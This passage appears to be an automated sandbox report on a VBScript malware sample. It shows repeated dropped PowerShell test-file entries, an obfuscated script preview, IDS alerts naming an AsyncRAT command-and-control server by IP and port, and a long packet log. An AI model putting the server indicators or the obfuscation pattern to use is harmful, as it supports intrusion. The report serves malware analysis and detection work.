SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oveb4o3y.cwl.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ow1xlch2.vzs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ppuaiuba.ibe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ptamej2k.mcc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_py4gc11w.diw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qmylc1al.ko2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sjtzep3v.dg3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqwstpi2.i32.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sroubz4v.iqe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uilw2avl.qgm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vgh5f4ew.mkm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vkd2bsqr.xg0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vlnicosd.hj5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_whwd0lxn.g5j.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wyl45i2o.jsj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycx40qp0.g31.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yg1nf2g2.qgo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zrtrlang.xgj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	ASCII text, with very long lines (12416), with CRLF line terminators
Entropy (8bit):	5.064999555127297
TrID:
File name:	H#0813-186765.vbs
File size:	20'609 bytes
MD5:	1ad458edaf24cc5d33db3978b18d446c
SHA1:	3ee17340104e4ac3d95c96b35bbe32a3f0c0f56a
SHA256:	42dbdf691f31f25bc8da8504d82bfeb4508d30c982ff3c56c89e98d6692a8a77
SHA512:	ab5543d377dcdd0f8355f242b7c51525c2957e812aac40a1698810b611213a487d66473509ee0093bfb0370b8af7de50644118e32e8f57bd4f7280b35dbc6737
SSDEEP:	96:eYAut555555p555555D555555k555555W555555gS555555Wo555555A555555Yr:lapKYRp9RpyBH
TLSH:	F192C322FAE18B88342A466297C7D5F9AAE7BBDC3013510D5F82509764FF06D4C7B9C2
File Content Preview:	On Error Resume Next ..On Error Resume Next ..gqfukeitvw = Replace("C:\Win~rospefvgyclmjhqkwb#rospefvgyclmjhqkwbrospefvgyclmjhqkwb@rospefvgyclmjhqkwbrospefvgyclmjhqkwb#rospefvgyclmjhqkwb~rospefvgyclmjhqkwb.rospefvgyclmjhqkwb~rospefvgyclmjhqkwb#rospefvgy

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-12T16:39:46.168446+0200	2842478	ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)	1	88.119.175.153	9999	192.168.2.5	53510	TCP
2024-10-12T16:39:46.168446+0200	2030673	ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)	1	88.119.175.153	9999	192.168.2.5	53510	TCP
2024-10-12T16:39:46.168446+0200	2035595	ET MALWARE Generic AsyncRAT Style SSL Cert	1	88.119.175.153	9999	192.168.2.5	53510	TCP
2024-10-12T16:39:46.168446+0200	2035607	ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)	1	88.119.175.153	9999	192.168.2.5	53510	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 12, 2024 16:39:22.286597013 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:22.286686897 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:22.286817074 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:22.340406895 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:22.340451002 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:23.360675097 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:23.360775948 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:23.368971109 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:23.368983984 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:23.369261026 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:23.383058071 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:23.427398920 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:23.923639059 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:23.923661947 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:23.923795938 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:23.923862934 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:23.977526903 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.147176027 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.147186041 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.147370100 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.148339033 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.148346901 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.148416996 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.149574041 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.149581909 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.149640083 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.150510073 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.150517941 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.150597095 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.363143921 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.363158941 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.363262892 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.364331961 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.364409924 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.364960909 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.365022898 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.366615057 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.366688013 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.367480993 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.367547989 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.368354082 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.368418932 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.369765997 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.369833946 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.591775894 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.591787100 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.591917992 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.592015028 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.592067957 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.592083931 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.592122078 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.592158079 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.592179060 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.592211962 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.592279911 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.592650890 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.592730045 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.593370914 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.593424082 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.593437910 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.593452930 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.593501091 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.593501091 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.593842030 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.593892097 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.593913078 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.593933105 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.593959093 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.593978882 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.594616890 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.594686031 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.594696045 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.594710112 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.594758034 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.594760895 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.594775915 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.594814062 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.594835997 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.597091913 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.597162008 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.684588909 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.684642076 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.684678078 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.684710979 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.684736967 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.684761047 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.811640978 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.811731100 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.811754942 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.811825991 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.811866045 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.811891079 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.811913013 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.811981916 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.811996937 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812062025 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.812072039 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812087059 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812138081 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812139034 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.812150002 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812186003 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812203884 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.812218904 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812249899 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.812277079 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.812417030 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812480927 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.812526941 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.812588930 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.816778898 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.816859007 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.816878080 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.816891909 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.816915035 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.816946030 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.816975117 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.816988945 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817011118 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817048073 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817060947 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817091942 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817096949 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817128897 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817142010 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817169905 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817198038 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817517996 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817580938 CEST	443	49720	122.201.127.73	192.168.2.5
Oct 12, 2024 16:39:24.817588091 CEST	49720	443	192.168.2.5	122.201.127.73
Oct 12, 2024 16:39:24.817601919 CEST	443	49720	122.201.127.73	192.168.2.5
